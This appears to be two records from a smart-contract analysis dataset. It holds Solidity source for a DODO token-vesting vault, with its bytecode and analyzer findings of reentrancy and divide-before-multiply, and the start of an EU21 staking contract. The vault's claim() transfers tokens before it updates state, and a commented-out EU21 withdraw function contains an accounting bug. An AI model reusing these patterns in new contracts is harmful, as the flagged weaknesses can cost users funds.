// File: contracts/lib/DecimalMath.sol
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
uint256 internal constant ONE2 = 10**36;
function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / (10**18);
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(10**18);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).divCeil(d);
}
function reciprocalFloor(uint256 target) internal pure returns (uint256) {
return uint256(10**36).div(target);
}
function reciprocalCeil(uint256 target) internal pure returns (uint256) {
return uint256(10**36).divCeil(target);
}
function powFloor(uint256 target, uint256 e) internal pure returns (uint256) {
if (e == 0) {
return 10 ** 18;
} else if (e == 1) {
return target;
} else {
uint p = powFloor(target, e.div(2));
p = p.mul(p) / (10**18);
if (e % 2 == 1) {
p = p.mul(target) / (10**18);
}
return p;
}
}
}
// File: contracts/lib/Ownable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract Ownable {
address public _OWNER_;
address public _NEW_OWNER_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
constructor() internal {
_OWNER_ = msg.sender;
emit OwnershipTransferred(address(0), _OWNER_);
}
function transferOwnership(address newOwner) external virtual onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() external {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/DODOToken/LockedTokenVault.sol
/**
* @title LockedTokenVault
* @author DODO Breeder
*
* @notice Lock Token and release it linearly
*/
contract LockedTokenVault is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable _TOKEN_;
mapping(address => uint256) internal originBalances;
mapping(address => uint256) internal claimedBalances;
uint256 public _UNDISTRIBUTED_AMOUNT_;
uint256 public _START_RELEASE_TIME_;
uint256 public _RELEASE_DURATION_;
uint256 public _CLIFF_RATE_;
bool public _DISTRIBUTE_FINISHED_;
// ============ Events ============
event Claim(address indexed holder, uint256 origin, uint256 claimed, uint256 amount);
// ============ Modifiers ============
modifier beforeStartRelease() {
require(block.timestamp < _START_RELEASE_TIME_, "RELEASE START");
_;
}
modifier afterStartRelease() {
require(block.timestamp >= _START_RELEASE_TIME_, "RELEASE NOT START");
_;
}
modifier distributeNotFinished() {
require(!_DISTRIBUTE_FINISHED_, "DISTRIBUTE FINISHED");
_;
}
// ============ Init Functions ============
constructor(
address _token,
uint256 _startReleaseTime,
uint256 _releaseDuration,
uint256 _cliffRate
) public {
_TOKEN_ = _token;
_START_RELEASE_TIME_ = _startReleaseTime;
_RELEASE_DURATION_ = _releaseDuration;
_CLIFF_RATE_ = _cliffRate;
}
function deposit(uint256 amount) external onlyOwner {
_tokenTransferIn(_OWNER_, amount);
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(amount);
}
function withdraw(uint256 amount) external onlyOwner {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
_tokenTransferOut(_OWNER_, amount);
}
function finishDistribute() external onlyOwner {
_DISTRIBUTE_FINISHED_ = true;
}
// ============ For Owner ============
function grant(address[] calldata holderList, uint256[] calldata amountList)
external
onlyOwner
{
require(holderList.length == amountList.length, "batch grant length not match");
uint256 amount = 0;
for (uint256 i = 0; i < holderList.length; ++i) {
// for saving gas, no event for grant
originBalances[holderList[i]] = originBalances[holderList[i]].add(amountList[i]);
amount = amount.add(amountList[i]);
}
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
}
function recall(address holder) external onlyOwner distributeNotFinished {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(originBalances[holder]).sub(
claimedBalances[holder]
);
originBalances[holder] = 0;
claimedBalances[holder] = 0;
}
// ============ For Holder ============
function transferLockedToken(address to) external {
require(to != msg.sender, "INVALID_TO_ADDRESS");
originBalances[to] = originBalances[to].add(originBalances[msg.sender]);
claimedBalances[to] = claimedBalances[to].add(claimedBalances[msg.sender]);
originBalances[msg.sender] = 0;
claimedBalances[msg.sender] = 0;
}
function claim() external {
uint256 claimableToken = getClaimableBalance(msg.sender);
_tokenTransferOut(msg.sender, claimableToken);
claimedBalances[msg.sender] = claimedBalances[msg.sender].add(claimableToken);
emit Claim(
msg.sender,
originBalances[msg.sender],
claimedBalances[msg.sender],
claimableToken
);
}
// ============ View ============
function isReleaseStart() external view returns (bool) {
return block.timestamp >= _START_RELEASE_TIME_;
}
function getOriginBalance(address holder) external view returns (uint256) {
return originBalances[holder];
}
function getClaimedBalance(address holder) external view returns (uint256) {
return claimedBalances[holder];
}
function getClaimableBalance(address holder) public view returns (uint256) {
uint256 remainingToken = getRemainingBalance(holder);
return originBalances[holder].sub(remainingToken).sub(claimedBalances[holder]);
}
function getRemainingBalance(address holder) public view returns (uint256) {
uint256 remainingRatio = getRemainingRatio(block.timestamp);
return DecimalMath.mulFloor(originBalances[holder], remainingRatio);
}
function getRemainingRatio(uint256 timestamp) public view returns (uint256) {
if (timestamp < _START_RELEASE_TIME_) {
return DecimalMath.ONE;
}
uint256 timePast = timestamp.sub(_START_RELEASE_TIME_);
if (timePast < _RELEASE_DURATION_) {
uint256 remainingTime = _RELEASE_DURATION_.sub(timePast);
return DecimalMath.ONE.sub(_CLIFF_RATE_).mul(remainingTime).div(_RELEASE_DURATION_);
} else {
return 0;
}
}
// ============ Internal Helper ============
function _tokenTransferIn(address from, uint256 amount) internal {
IERC20(_TOKEN_).safeTransferFrom(from, address(this), amount);
}
function _tokenTransferOut(address to, uint256 amount) internal {
IERC20(_TOKEN_).safeTransfer(to, amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061014c5760003560e01c80637db41eae116100c3578063cd32f0861161007c578063cd32f08614610263578063cf0e80fe1461026b578063d18284961461027e578063e5612b3b14610291578063ef90364214610299578063f2fde38b146102a15761014c565b80637db41eae146102075780638456db151461021a57806392e3200b14610222578063b6b55f251461022a578063c2ae16801461023d578063ca430519146102505761014c565b80632a8b0480116101155780632a8b0480146101b25780632e1a7d4d146101ba5780634e71d92d146101cf5780634e71e0c8146101d75780636a4de5d1146101df578063710475f6146101f25761014c565b80621bf8f61461015157806306def8021461017a57806316048bc41461018d57806324b32741146101a2578063294dafc0146101aa575b600080fd5b61016461015f366004610ccc565b6102b4565b6040516101719190611013565b60405180910390f35b610164610188366004610ccc565b6102ef565b610195610343565b6040516101719190610dcd565b610164610352565b610164610358565b61016461035e565b6101cd6101c8366004610d7c565b610364565b005b6101cd6103c6565b6101cd61045c565b6101646101ed366004610d7c565b6104ea565b6101fa610592565b6040516101719190610e1e565b6101cd610215366004610ccc565b61059b565b610195610668565b610195610677565b6101cd610238366004610d7c565b61069b565b6101cd61024b366004610cf3565b6106f4565b6101cd61025e366004610ccc565b610836565b6101fa6108ea565b610164610279366004610ccc565b6108f3565b61016461028c366004610ccc565b61090e565b6101cd610929565b610164610962565b6101cd6102af366004610ccc565b610968565b6000806102c0426104ea565b6001600160a01b0384166000908152600260205260409020549091506102e690826109ed565b9150505b919050565b6000806102fb836102b4565b6001600160a01b0384166000908152600360209081526040808320546002909252909120549192506102e691610337908463ffffffff610a1916565b9063ffffffff610a1916565b6000546001600160a01b031681565b60045481565b60075481565b60055481565b6000546001600160a01b031633146103975760405162461bcd60e51b815260040161038e90610f29565b60405180910390fd5b6004546103aa908263ffffffff610a1916565b6004556000546103c3906001600160a01b031682610a41565b50565b60006103d1336102ef565b90506103dd3382610a41565b336000908152600360205260409020546103fd908263ffffffff610a7f16565b336000818152600360208181526040808420869055600282529283902054919052905191927f45c072aa05b9853b5a993de7a28bc332ee01404a628cec1a23ce0f659f842ef192610451929190869061101c565b60405180910390a250565b6001546001600160a01b031633146104865760405162461bcd60e51b815260040161038e90610e29565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b60006005548210156105055750670de0b6b3a76400006102ea565b600061051c60055484610a1990919063ffffffff16565b90506006548110156105885760065460009061053e908363ffffffff610a1916565b905061057f60065461057383610567600754670de0b6b3a7640000610a1990919063ffffffff16565b9063ffffffff610aab16565b9063ffffffff610ae516565b925050506102ea565b60009150506102ea565b60085460ff1681565b6001600160a01b0381163314156105c45760405162461bcd60e51b815260040161038e90610eda565b33600090815260026020526040808220546001600160a01b03841683529120546105f39163ffffffff610a7f16565b6001600160a01b038216600081815260026020908152604080832094909455338252600390528281205491815291909120546106349163ffffffff610a7f16565b6001600160a01b03909116600090815260036020818152604080842094909455338352600281528383208390555290812055565b6001546001600160a01b031681565b7f00000000000000000000000043dfc4159d86f3a37a5a4b3d4580b888ad7d4ddd81565b6000546001600160a01b031633146106c55760405162461bcd60e51b815260040161038e90610f29565b6000546106db906001600160a01b031682610b0f565b6004546106ee908263ffffffff610a7f16565b60045550565b6000546001600160a01b0316331461071e5760405162461bcd60e51b815260040161038e90610f29565b82811461073d5760405162461bcd60e51b815260040161038e90610fdc565b6000805b84811015610818576107aa84848381811061075857fe5b905060200201356002600089898681811061076f57fe5b90506020020160208101906107849190610ccc565b6001600160a01b031681526020810191909152604001600020549063ffffffff610a7f16565b600260008888858181106107ba57fe5b90506020020160208101906107cf9190610ccc565b6001600160a01b0316815260208101919091526040016000205561080e8484838181106107f857fe5b9050602002013583610a7f90919063ffffffff16565b9150600101610741565b5060045461082c908263ffffffff610a1916565b6004555050505050565b6000546001600160a01b031633146108605760405162461bcd60e51b815260040161038e90610f29565b60085460ff16156108835760405162461bcd60e51b815260040161038e90610e50565b6001600160a01b0381166000908152600360209081526040808320546002909252909120546004546108c09291610337919063ffffffff610a7f16565b6004556001600160a01b031660009081526002602090815260408083208390556003909152812055565b60055442101590565b6001600160a01b031660009081526003602052604090205490565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109535760405162461bcd60e51b815260040161038e90610f29565b6008805460ff19166001179055565b60065481565b6000546001600160a01b031633146109925760405162461bcd60e51b815260040161038e90610f29565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000670de0b6b3a7640000610a08848463ffffffff610aab16565b81610a0f57fe5b0490505b92915050565b600082821115610a3b5760405162461bcd60e51b815260040161038e90610f06565b50900390565b610a7b6001600160a01b037f00000000000000000000000043dfc4159d86f3a37a5a4b3d4580b888ad7d4ddd16838363ffffffff610b4a16565b5050565b600082820183811015610aa45760405162461bcd60e51b815260040161038e90610f4c565b9392505050565b600082610aba57506000610a13565b82820282848281610ac757fe5b0414610aa45760405162461bcd60e51b815260040161038e90610fb9565b6000808211610b065760405162461bcd60e51b815260040161038e90610eb2565b818381610a0f57fe5b610a7b6001600160a01b037f00000000000000000000000043dfc4159d86f3a37a5a4b3d4580b888ad7d4ddd1683308463ffffffff610ba516565b610ba08363a9059cbb60e01b8484604051602401610b69929190610e05565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610bcc565b505050565b610bc6846323b872dd60e01b858585604051602401610b6993929190610de1565b50505050565b60006060836001600160a01b031683604051610be89190610d94565b6000604051808303816000865af19150503d8060008114610c25576040519150601f19603f3d011682016040523d82523d6000602084013e610c2a565b606091505b509150915081610c4c5760405162461bcd60e51b815260040161038e90610e7d565b805115610bc65780806020019051810190610c679190610d5c565b610bc65760405162461bcd60e51b815260040161038e90610f6f565b60008083601f840112610c94578182fd5b50813567ffffffffffffffff811115610cab578182fd5b6020830191508360208083028501011115610cc557600080fd5b9250929050565b600060208284031215610cdd578081fd5b81356001600160a01b0381168114610aa4578182fd5b60008060008060408587031215610d08578283fd5b843567ffffffffffffffff80821115610d1f578485fd5b610d2b88838901610c83565b90965094506020870135915080821115610d43578384fd5b50610d5087828801610c83565b95989497509550505050565b600060208284031215610d6d578081fd5b81518015158114610aa4578182fd5b600060208284031215610d8d578081fd5b5035919050565b60008251815b81811015610db45760208186018101518583015201610d9a565b81811115610dc25782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b602080825260139082015272111254d5149250955511481192539254d21151606a1b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b602080825260129082015271494e56414c49445f544f5f4144445245535360701b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b6020808252601c908201527f6261746368206772616e74206c656e677468206e6f74206d6174636800000000604082015260600190565b90815260200190565b928352602083019190915260408201526060019056fea26469706673582212209165ab99c0f2bcc672d59c5743a582a2dbaa5557e348d0ba200c0e74ad52016064736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,541 |
0xc1052694f989365eae9502f6385ab41a52717efe
|
pragma solidity >=0.8.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract EU21_Germany is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// EU21 token contract address
address public constant tokenAddress = 0x87ea1F06d7293161B9ff080662c1b0DF775122D3;
// amount disbursed per victory
uint public amountToDisburse = 1000000000000000000000; // 1000 EU21 PER VICTORY
// total games rewards for each pool
uint public totalReward = 7000000000000000000000; // 7000 EU21 TOTAL GAMES REWARDS (EXCLUDING THE GRAND PRIZE)
// unstaking possible after ...
uint public constant unstakeTime = 37 days;
// claiming possible after ...
uint public constant claimTime = 37 days;
uint public totalClaimedRewards = 0;
uint public totalDeposited = 0;
uint public totalDisbursed = 0;
bool public ended ;
uint public startTime = block.timestamp;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public pending;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardEnded;
function disburse () public onlyOwner returns (bool){
require(!ended, "Staking already ended");
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(amountToDisburse).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(amountToDisburse);
return true;
}
//Disburse and End the staking pool
function disburseAndEnd(uint _finalDisburseAmount) public onlyOwner returns (bool){
require(!ended, "Staking already ended");
require(_finalDisburseAmount > 0);
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(_finalDisburseAmount).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(_finalDisburseAmount);
ended = true;
return true;
}
//End the staking pool
function end() public onlyOwner returns (bool){
require(!ended, "Staking already ended");
ended = true;
return true;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
pending[account] = 0;
depositedTokens[account] = depositedTokens[account].add(pendingDivs);
totalDeposited = totalDeposited.add(pendingDivs);
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
}
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
uint pendingDivs = pending[_holder];
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(!ended, "Staking has ended");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalDeposited = totalDeposited.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function claim() public{
require(holders.contains(msg.sender));
require(block.timestamp.sub(startTime) > claimTime || ended, "Not yet.");
require(pending[msg.sender] > 0);
uint _reward = pending[msg.sender];
pending[msg.sender] = 0;
require(Token(tokenAddress).transfer(msg.sender, _reward), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_reward);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_reward);
if(depositedTokens[msg.sender] == 0){
holders.remove(msg.sender);
}
}
function withdraw(uint _amount) public{
require(block.timestamp.sub(startTime) > unstakeTime || ended, "Not yet.");
require(depositedTokens[msg.sender] >= _amount);
require(_amount > 0);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(_amount);
totalDeposited = totalDeposited.sub(_amount);
require(Token(tokenAddress).transfer(msg.sender, _amount), "Could not transfer tokens.");
if(depositedTokens[msg.sender] == 0 && pending[msg.sender] == 0){
holders.remove(msg.sender);
}
}
/*
function withdrawAllAfterEnd() public {
require(ended, "Staking has not ended");
uint _pend = pending[msg.sender];
uint amountToWithdraw = _pend.add(depositedTokens[msg.sender]);
require(amountToWithdraw >= 0, "Invalid amount to withdraw");
pending[msg.sender] = 0;
depositedTokens[msg.sender] = 0;
totalDeposited = totalDeposited.sub(depositedTokens[msg.sender]);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_pend);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_pend);
holders.remove(msg.sender);
}*/
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress , "Cannot Transfer Out this token");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
